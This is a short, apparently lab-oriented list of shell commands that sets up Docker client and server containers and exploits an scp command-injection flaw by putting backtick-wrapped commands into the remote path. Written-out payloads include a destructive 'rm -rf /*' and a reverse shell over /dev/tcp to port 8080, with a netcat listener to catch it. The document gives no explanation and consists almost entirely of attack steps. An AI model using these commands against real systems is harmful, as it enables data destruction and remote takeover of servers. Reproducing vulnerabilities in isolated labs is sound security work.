cd client
docker build -t client-cve .

cd server
docker build -t server-cve .

docker run -d -P --name scp-server server-cve

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server

docker run --name scp-client -i -t client-cve

scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'

scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'

nc -lvvp 8080

scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client